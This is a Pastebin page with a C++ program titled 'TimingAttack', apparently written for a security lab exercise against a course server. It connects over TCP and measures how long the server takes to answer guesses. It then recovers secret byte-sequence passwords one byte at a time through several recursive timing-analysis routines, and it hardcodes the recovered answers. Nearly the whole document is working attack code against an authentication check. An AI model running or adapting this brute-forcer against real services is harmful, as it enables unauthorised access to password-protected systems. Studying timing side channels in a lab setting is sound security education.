API tools faq
paste
Advertisement
Guest User

TimingAttack

a guest
Dec 10th, 2019
107
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 10.97 KB | None | 0 0
raw download clone embed print report
  1. #include <sys/socket.h>
  2. #include <sys/types.h>
  3. #include <netinet/in.h>
  4. #include <netdb.h>
  5. #include <stdio.h>
  6. #include <string.h>
  7. #include <stdlib.h>
  8. #include <unistd.h>
  9. #include <errno.h>
  10. #include <arpa/inet.h>
  11. #include <stdint.h>
  12. #include <inttypes.h>
  13. #include <chrono>
  14. #include <iostream>
  15. #include <sys/socket.h>
  16. #include <sys/types.h>
  17. #include <netinet/in.h>
  18. #include <netdb.h>
  19. #include <stdio.h>
  20. #include <string.h>
  21. #include <stdlib.h>
  22. #include <unistd.h>
  23. #include <errno.h>
  24. #include <arpa/inet.h>
  25. #include <stdint.h>
  26. #include <inttypes.h>
  27. #include <chrono>
  28. #include <iostream>
  29. #include <openssl/sha.h>
  30.  
  31. void hexdump(uint8_t *p, int n) {
  32.   while(n--){
  33.     printf("0x%02x,",*p++);
  34.   }
  35.   printf("\n");
  36. }
  37.  
  38. void timedump(int64_t *t, int n) {
  39.   while(n--){
  40.     printf("%ld,",*t++);
  41.   }
  42.   printf("\n");
  43. }
  44.  
  45. class client {
  46.   struct sockaddr_in serv_addr;
  47.   int fd;
  48. public:
  49.   client(char *host, int port, uint32_t indx) {
  50.     memset(&serv_addr,'0',sizeof(serv_addr));
  51.     fd = 0;
  52.     struct hostent *he = gethostbyname(host);
  53.     if(!he) {
  54.       printf("err gethostbyname\n");
  55.       return;
  56.     }
  57.     if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
  58.       printf("err socket\n");
  59.       return;
  60.     }
  61.     serv_addr.sin_family = AF_INET;
  62.     serv_addr.sin_port   = htons(port);
  63.     memcpy(&serv_addr.sin_addr, he->h_addr_list[0], he->h_length);
  64.     if(connect(fd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0){
  65.       printf("err connect\n");
  66.       return;
  67.     }
  68.     write((uint8_t*)&indx, sizeof(indx));
  69.     uint32_t clients = 0;
  70.     read((uint8_t*)&clients, sizeof(clients));
  71.     printf("connected clients: %d\n", clients);
  72.   }
  73.   ~client() {
  74.     exit();
  75.   }
  76.   void exit() {
  77.     close(fd);
  78.   }
  79.   void write(uint8_t *buf, unsigned size) {
  80.     uint8_t *pos = buf;
  81.     while(size>0) {
  82.       int ret = ::write(fd,pos,size);
  83.       if(ret<=0) {
  84.         printf("err write\n");
  85.         exit();
  86.         return;
  87.       }
  88.       pos  += ret;
  89.       size -= ret;
  90.     }
  91.   }
  92.   void read(uint8_t *buf, unsigned size) {
  93.     uint8_t *pos = buf;
  94.     while(size>0) {
  95.       int ret = ::read(fd,pos,size);
  96.       if(ret<=0) {
  97.         printf("err read\n");
  98.         exit();
  99.         return;
  100.       }
  101.       pos  += ret;
  102.       size -= ret;
  103.     }
  104.   }
  105.   void indx(uint32_t idx) {
  106.     write((uint8_t*)&idx, sizeof(idx));
  107.   }
  108.   uint8_t test(uint8_t f, uint8_t *p, unsigned n) {
  109.     //write(&f, sizeof(f));
  110.     write(p,  n);
  111.     uint8_t b = 0;
  112.     read (&b, sizeof(b));
  113.     return b;
  114.   }
  115. };
  116.  
  117. #define CHCK(f) \
  118. do { \
  119.   auto s = std::chrono::high_resolution_clock::now(); \
  120.   uint8_t r = f; \
  121.   auto e = std::chrono::high_resolution_clock::now(); \
  122.   auto t = std::chrono::duration_cast<std::chrono::milliseconds>(e-s).count(); \
  123.   printf("%s time: %ldms\n", ((r==1)?"pass":"fail"), t);\
  124. } while(0)
  125.  
  126. #define CHCK_RT(f,t) \
  127. do { \
  128.     auto s = std::chrono::high_resolution_clock::now(); \
  129.     uint8_t r = f; \
  130.     auto e = std::chrono::high_resolution_clock::now(); \
  131.     t = std::chrono::duration_cast<std::chrono::milliseconds>(e-s).count(); \
  132. } while(0)
  133.  
  134. void recurent_measure_time(client c,uint8_t *vector,int pos, int size, int64_t* result_time) {
  135.     //int64_t result_time[256];
  136.     uint8_t val = 0x00;
  137.     int64_t time = 0;
  138.     for(int i=0;i<256;i++,val++) {
  139.         vector[pos] = val;
  140.         CHCK_RT(c.test(0,vector,size),time);
  141.         result_time[i] = time;
  142.     }
  143.  
  144.     //return result_time;
  145. }
  146.  
  147. uint8_t time_check(client &c, uint8_t *vector, int pos, int size, int64_t p_time, uint8_t init_val) {
  148.     uint8_t result = 0;
  149.     if(pos == size-1) {
  150.         uint8_t val = 0x00;
  151.         for(int i=0;i<256;i++,val++) {
  152.             vector[pos] = val;
  153.             result = c.test(1,vector,size);
  154.             if(result) {
  155.                 printf("PASS: ");
  156.                 hexdump(vector,size);
  157.                 return result;
  158.             }
  159.         }
  160.         vector[pos] = 0x00;
  161.     } else {
  162.         uint8_t val = 0x00;
  163.         if(pos == 1) {
  164.             val = init_val;
  165.         }
  166.         int64_t time = 0;
  167.         int64_t max_time = p_time;
  168.         uint8_t max_val = val;
  169.         for(int i=0;i<256;i++,val++) {
  170.             vector[pos] = val;
  171.             CHCK_RT(c.test(1,vector,size),time);
  172.             if(time > max_time) {
  173.                 max_val = val;
  174.                 max_time = time;
  175.             }
  176.         }
  177.         vector[pos] = max_val;
  178.         for(int k=0;k<pos-1;k++) {
  179.             printf("\t");
  180.         }
  181.         printf("T: %ld ",max_time);
  182.         hexdump(vector,size);
  183.         result = time_check(c,vector,pos+1,size,max_time,0x00);
  184.         if(result) {
  185.             return result;
  186.         }
  187.     }
  188.  
  189.     return 0;
  190.            
  191. }
  192.  
  193. uint8_t time_check_increase(client &c, uint8_t *p, int pos, int size, int64_t mean) {
  194.     uint8_t result = 0;
  195.     if(pos == size-1) {
  196.         uint8_t val = 0x00;
  197.         for(int i=0;i<256;i++,val++) {
  198.             p[pos] = val;
  199.             result = c.test(3,p,size);
  200.             if(result) {
  201.                 printf("PASS: ");hexdump(p,size);
  202.                 return result;
  203.             }
  204.         }
  205.         p[pos] = 0x00;
  206.     } else {
  207.         if(mean == 0) {
  208.             uint8_t val = 0x00;
  209.             int64_t total_time = 0;
  210.             for(int i=0;i<256;i++,val++){
  211.                 int64_t t;
  212.                 p[pos] = val;
  213.                 CHCK_RT(c.test(0,p,size),t);
  214.                 total_time += t;
  215.             }
  216.             mean = (int64_t)total_time/256;
  217.         }
  218.         p[pos] = 0x00;
  219.         printf("%d m: %ld\n",pos,mean);
  220.         int64_t mean_times[256];
  221.         int64_t max_mean = 0;
  222.         int max_pos = 0;
  223.         uint8_t val0 = 0x00;
  224.         for(int i=0;i<256;i++,val0++) {
  225.             int64_t mean0 = 0;
  226.             uint8_t val1 = 0x00;
  227.             int64_t ttime0 = 0;
  228.             p[pos] = val0;
  229.             for(int j=0; j<256;j++,val1++) {
  230.                 p[pos+1] = val1;
  231.                 int64_t t1;
  232.                 CHCK_RT(c.test(0,p,size),t1);
  233.                 ttime0 += t1;
  234.             }
  235.             mean_times[i] = (int64_t)ttime0/256;
  236.             if(mean_times[i] > max_mean) {
  237.                 max_mean = mean_times[i];
  238.                 max_pos = i;
  239.             }
  240.             p[pos+1] = 0x00;
  241.             int k = pos-1;
  242.             while(k--) {
  243.                 printf("\t");
  244.             }  
  245.             printf("%d - done max_mean: %ld max_pos: 0x%02x\t",i,max_mean,max_pos);hexdump(p,size);
  246.             if(max_mean >= mean) {
  247.                 p[pos+1] = 0x00;
  248.                 result = time_check_increase(c,p,pos+1,size,max_mean);
  249.                 if(result) {
  250.                     return result;
  251.                 }
  252.             }
  253.         }
  254.         //int64_t max_mean = 0;
  255.         //int  max_pos = 0;
  256.         //for(int i=0;i<256;i++){
  257.         //  printf("0x%02x: %ld %ld\n",i,mean,mean_times[i]);
  258.         //  if(mean_times[i] > max_mean) {
  259.         //      max_mean = mean_times[i];
  260.         //      max_pos = i;
  261.         //  }
  262.         //}
  263.         printf("MAX : 0x%02x %ld\n",max_pos,max_mean);
  264.         return 0;
  265.     }
  266.  
  267.     return 0;
  268. }
  269.  
  270. uint8_t time_check_mean(client &c, uint8_t *p, int pos, int size, int64_t mean) {
  271.     uint8_t result = 0;
  272.     if(pos == size-1) {
  273.         uint8_t val = 0x00;
  274.         for(int i=0;i<256;i++,val++) {
  275.             p[pos] = val;
  276.             result = c.test(1,p,size);
  277.             if(result) {
  278.                 printf("PASS: "); hexdump(p,size);
  279.                 return result;
  280.             }
  281.         }
  282.         p[pos] = 0x00;
  283.     } else {
  284.         if(mean == 0) {
  285.             uint8_t val = 0x00;
  286.             int64_t total_time = 0;
  287.             for(int i=0;i<256;i++,val++){
  288.                 int64_t t;
  289.                 p[pos] = val;
  290.                 CHCK_RT(c.test(0,p,size),t);
  291.                 total_time += t;
  292.             }
  293.             mean = (int64_t)total_time/256;
  294.         }
  295.         p[pos] = 0x00;
  296.         printf("%d m: %ld\n",pos,mean);
  297.         int64_t mean_times[256];
  298.         int64_t max_mean = 0;
  299.         int max_pos = 0;
  300.         uint8_t val0 = 0x00;
  301.         for(int i=0;i<256;i++,val0++) {
  302.             int64_t mean0 = 0;
  303.             uint8_t val1 = 0x00;
  304.             int64_t ttime0 = 0;
  305.             p[pos] = val0;
  306.             for(int j=0; j<256;j++,val1++) {
  307.                 p[pos+1] = val1;
  308.                 int64_t t1;
  309.                 CHCK_RT(c.test(0,p,size),t1);
  310.                 ttime0 += t1;
  311.             }
  312.             mean_times[i] = (int64_t)ttime0/256;
  313.             if(mean_times[i] > max_mean) {
  314.                 max_mean = mean_times[i];
  315.                 max_pos = i;
  316.             }
  317.             p[pos+1] = 0x00;
  318.             int k = pos-1;
  319.             while(k--) {
  320.                 printf("\t");
  321.             }  
  322.             printf("%d - done max_mean: %ld max_pos: 0x%02x\t",i,max_mean,max_pos);hexdump(p,size);
  323.             if(max_mean >= mean+4) {
  324.                 p[pos+1] = 0x00;
  325.                 result = time_check_mean(c,p,pos+1,size,max_mean);
  326.                 if(result) {
  327.                     return result;
  328.                 }
  329.             }
  330.         }
  331.         //int64_t max_mean = 0;
  332.         //int  max_pos = 0;
  333.         //for(int i=0;i<256;i++){
  334.         //  printf("0x%02x: %ld %ld\n",i,mean,mean_times[i]);
  335.         //  if(mean_times[i] > max_mean) {
  336.         //      max_mean = mean_times[i];
  337.         //      max_pos = i;
  338.         //  }
  339.         //}
  340.         printf("MAX : 0x%02x %ld\n",max_pos,max_mean);
  341.         return 0;
  342.     }
  343.  
  344. }
  345. void harder_time_check(client &c, uint8_t *p, int pos, int size) {
  346.     uint8_t val = 0x00;
  347.     int n = 1;
  348.     int64_t times[n];
  349.     for(int i=0;i<256;i++,val++){
  350.         p[pos] = val;
  351.         CHCK(c.test(0,p,size));hexdump(p,size);
  352.         //usleep(10000000);
  353.         /*for(int j=0;j<n;j++) {
  354.             CHCK_RT(c.test(0,p,size),times[j]);
  355.         }
  356.         printf("0x%02x:",val);timedump(times,n);
  357.         */
  358.     }
  359.  
  360. }
  361. int main(int argc, char *argv[]) {
  362.   char serv[] = "target.myrelabs.com";
  363.   char *host  = serv;
  364.   int   port  = 7777;
  365.   /*if(argc > 1) {
  366.     host = argv[1];
  367.   }
  368.   if(argc > 2){
  369.     port = atoi(argv[2]);
  370.   }*/
  371.   printf("host:%s\n",host);
  372.   printf("port:%d\n",port);
  373.  
  374.   /* your index number goes here */
  375.   //uint32_t indx = 0xffffffff;
  376.   uint32_t indx = 0x00221449;
  377.   client c(host,port,indx);
  378.  
  379.   uint8_t px0[] = {0x00,0x70,0x8b,0xa1,0x4f,0x6b,0x17,0x70,0xa6};
  380.   uint8_t px1[] = {0x01,0x9c,0x47,0x6b,0xfb,0x25,0x37,0x1b,0x37};
  381.   uint8_t px2[] = {0x02,0x70,0x8b,0xa1,0x4f,0x6b,0x17,0x70,0xa6};
  382.   uint8_t px3[] = {0x03,0x04,0x41,0x79,0xe4,0xc4,0x05,0xba,0xe1};
  383.  
  384.  
  385.   uint8_t p0[] = {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
  386.   uint8_t p1[] = {0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
  387.   uint8_t p2[] = {0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
  388.   uint8_t p3[] = {0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
  389.   unsigned n = sizeof(p1);
  390.  
  391.   /* Submit result of this as list solution: */
  392.   printf("index:0x%08x{\n",indx);
  393.   printf("  p0:");hexdump(px0,n);
  394.   printf("  p1:");hexdump(px1,n);
  395.   printf("  p2:");hexdump(px2,n);
  396.   printf("  p3:");hexdump(px3,n);
  397.   printf("}\n");
  398.  
  399.   CHCK(c.test(0,px0,n));
  400.   CHCK(c.test(1,px1,n));
  401.   CHCK(c.test(2,px2,n));
  402.   CHCK(c.test(3,px3,n));
  403.   //
  404.   //
  405.   //
  406.   printf("\n");
  407.   uint8_t init_val = 0x00;
  408.   if(argc > 1) {
  409.     printf("INIT VAL\n");
  410.         for(int i=0; i < argc;i++) {
  411.         printf("%s\n",argv[i]);
  412.     }
  413.     init_val = atoi(argv[1]);
  414.     printf("VAL: 0x%02x\n",init_val);
  415.   }
  416.   uint8_t val = 0x00;
  417.   for(int i=0;i<256;i++,val++) {
  418.     int64_t times[4];
  419.     p0[1] = val;
  420.     p1[1] = val;
  421.     p2[1] = val;
  422.     p3[1] = val;
  423.     CHCK_RT(c.test(0,p0,n),times[0]);
  424.     CHCK_RT(c.test(1,p1,n),times[1]);
  425.     CHCK_RT(c.test(2,p2,n),times[2]);
  426.     CHCK_RT(c.test(3,p3,n),times[3]);
  427.     printf("0x%02x: ",val); timedump(times,4);
  428.   }
  429.  
  430.   char salt[] = "safesalt";
  431.   SHA_CTX ctx;
  432.   unsigned char ps3[SHA_DIGEST_LENGTH] = {'p','1'};
  433.   SHA1_Init(&ctx);
  434.   SHA1_Update(&ctx, (char *)&indx, sizeof(indx));
  435.   SHA1_Update(&ctx, &ps3, sizeof(ps3));
  436.   SHA1_Final(ps3,&ctx);
  437.   hexdump(ps3,SHA_DIGEST_LENGTH);
  438.   //int64_t time = 0;
  439.   //CHCK_RT(c.test(0,p3,n),time);
  440.   //time_check(c,p3,1,n,0,init_val);
  441.   //time_check_mean(c,p2,5,n,0);
  442.   //time_check_increase(c,p3,1,n,0);
  443.   //harder_time_check(c,p1,1,n);
  444.   /*int64_t times[256][8];
  445.   uint8_t val = 0x00;
  446.   for(int i=0;i<256;i++,val++) {
  447.       for(int j = 1;j<9;j++) {
  448.         p3[j] = val;
  449.         int64_t time1 = 0;
  450.         int r = 30;
  451.         int64_t t =0;
  452.         while(r--) {
  453.             CHCK_RT(c.test(0,p3,n),t);
  454.             times[i][j-1] += t;
  455.         }
  456.             p3[j] = 0x00;  
  457.       }
  458.     printf("0x%02x :",val);timedump(times[i],8);
  459.   }*/
  460.   return 0;
  461.  
  462.  
  463. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!